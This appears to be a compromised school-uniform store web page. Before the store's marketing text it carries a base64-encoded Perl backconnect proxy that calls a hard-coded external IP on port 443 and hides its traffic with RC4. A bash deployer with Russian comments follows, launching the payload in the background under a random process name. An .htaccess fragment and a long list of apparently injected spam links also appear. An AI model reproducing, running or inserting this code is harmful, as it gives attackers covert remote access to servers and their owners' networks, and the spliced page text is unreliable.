'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #64 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #64 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi # --- КОНЕЦ ПОСЛЕДОВАТЕЛЬНОСТИ ЗАПУСКА --- echo "---" echo "[RUNNER] Все компоненты отправлены в фоновый режим." echo "[RUNNER] Скрипт-деплоер завершает свою работу." exit 0 Order allow,deny Deny from all Uniform Store – Sialkot best uniform store.
Uniforms & Essentials

Seamless Uniform Solutions

"Effortlessly unite tradition and excellence with our Uniform Collection, featuring tailored fits, premium fabrics, and essential accessories for every school, college, and university need."

what makes us different

The values we live by

Shop by Category

Easily find uniforms and accessories specific to your child’s school with just a click.

Fast Delivery in Sialkot

Enjoy reliable and quick delivery within Sialkot, ensuring you get what you need in 1-2 days.

Customization

Request custom sizes, name tags, or embroidery to personalize your child’s uniform.

High-Quality Materials

We guarantee durable, comfortable, and school-approved uniforms made from premium materials.

Affordable Prices

Get top-quality products at competitive prices with special bulk discounts for schools and families.

Easy Exchanges

Hassle-free returns or exchanges for size mismatches or product issues within 7 days.

In your city

we are now in sialkot

"Exclusively crafted and available in the heart of Sialkot – Your trusted local uniform destination!"

our services

in different Categories

School Uniforms

Durable and comfortable uniforms designed to meet the daily needs of students, featuring classic styles and premium fabrics.

College Uniforms

Smart and stylish uniforms tailored for college life, combining practicality with a professional look. Explore more by clicking Read more

University Uniforms

Sophisticated and modern uniforms crafted for university students, blending elegance and functionality seamlessly. explore more.

we offer Customization

Make your uniforms truly unique with our premium customization options. Whether it’s embroidered logos, tailored fits, or personalized designs, we cater to schools, colleges, and universities to ensure every uniform reflects your institution’s identity. Our expert team in Sialkot uses high-quality materials and precision techniques to deliver excellence every time. Let us bring your vision to life!

we offer different accessories too...

Dive into a world of style with our latest collection! Shop now and redefine your narrative!

Or Get In Touch

call us

123-456-7890

Email Us

company@email.com
another@email.com

Opening Hours

8:00 AM - 17:00 PM

Visit Us

Street name, 22135
Copenhagen, Denmark

"AGSUNIFORMS is my go-to destination for premium uniforms! Their collection perfectly balances comfort, durability, and style, making every purchase a hassle-free experience. The quality of their fabrics is outstanding, and I truly appreciate their commitment to sustainability. What sets them apart is their dedication to excellent customer service and attention to detail."

Sarah M., Devoted AGSUNIFORMS Fan
https://toprateballs.com/ https://serefdemir.com/ https://sauryatechnology.com/ https://sabzfit.com/ https://esmartvalley.com/ https://camilleprintshop.com/ https://bmtechnicalservice.com/ https://arifopticsbd.com/ https://petsnews.us/ https://myfashionwriter.com/ https://hieugiangmobile.com/ https://bbapparels.co.in/ https://shubhpatrika.in/ https://zukiclubgoa.com/ https://phn-events.com/ https://msfunpark.com/ https://magnastartrading.com/ https://asitradingco.com/ https://www.evesinsights.com/ https://cricgend.com/ https://worldpasstrips.com/ https://esmiinternational.com/ https://earnedmedialist.com/ https://legalox24.com/ https://selune-bk.com/ https://suatansaigon.com/ https://trongkhanghung.com/ https://topagrovetbd.com/ https://beefun-eg.com/ https://habalitvmax.com/ https://www.magicznelampki.pl/ https://az-exteriors.com/ https://www.horizontlakopark.hu/ https://apnocarwash.com/ https://belmopanfc.com/ https://groupedialibatoulmarakhib.com/ https://timagro.co.id/ https://vtransindo.com/ https://vinfastyogyakarta.com/ https://vanillanindo.com/ https://trustedexportnusantara.com/ https://tprrubber.com/ https://tanbaccocharcoal.com/ https://tamajayaspices.com/ https://geasustentable.com.ar/ https://roastedcoffeeidn.com/ https://swarnacentrabahari.com/ https://supplierkardusbox.com/ https://proaudioyucatan.com.mx/ https://profily.ae/ https://musicmoon.in/ https://gregoroth.com.au/ https://herodci.com/ https://stonebusines.com/ https://sriintantoki.co.id/ https://spicesterritory.com/ https://soeltanbrickcafe.id/ https://skyindoglobalniaga.com/ https://shinecommodityid.com/ https://shop.20fit.id/ https://ranauprintindocemerlang.co.id/ https://ransinergi.co.id/ https://ptbintangpenuhberkat.co.id/ https://it-deal.nl/ https://anwoodglobalindo.com/ https://agriconesia.com/ https://agunaharsabumi.com/ https://besttrustedinsurance.com/ https://birdnestexport.com/ https://borneopicasomandiri.com/ https://bottleshop.co.id/ https://chankaracocoa.com/ https://charcoalindonesia.co.id/ https://cocobriquetteid.com/ https://commodityexportindo.com/ https://craftinbali.com/ https://dutabaritosentosa.com/ https://brilianteknik.com/ https://chubriquettes.com/ https://jscottagency.com/ https://bestvanillanusantara.com/ https://berkatkarya.co.id/ https://gncoffee.id/ https://dbkcharcoal.com/ https://gerbanggroup.com/ https://karyakaca.com/ https://universalricehuskash.com/ https://valuablecoco.com/ https://indonesiaunifyfood.com/ https://winacharcoal.com/ https://trialamglobal.com/ https://agilitytuneup.com/ https://comunidadradio.com/ https://science.unib.ac.id/ https://washingtongreek.co.uk/ https://plasticpallet-thai.com/ https://www.lifeoline.com/ https://kamoune.com/ https://www.rmgtoday.com/ https://eneskarakas.com/ https://mistyinfo.com.co/ https://scobuielts.id/ https://accesspointonline.com/ https://smart-smb.com/ https://www.gezginkoclar.com/ https://diastark.info/ https://lethanhhien.com/ https://hirudolab.com/ https://hempfulbags.com/ https://radaforex.com/
Scroll to Top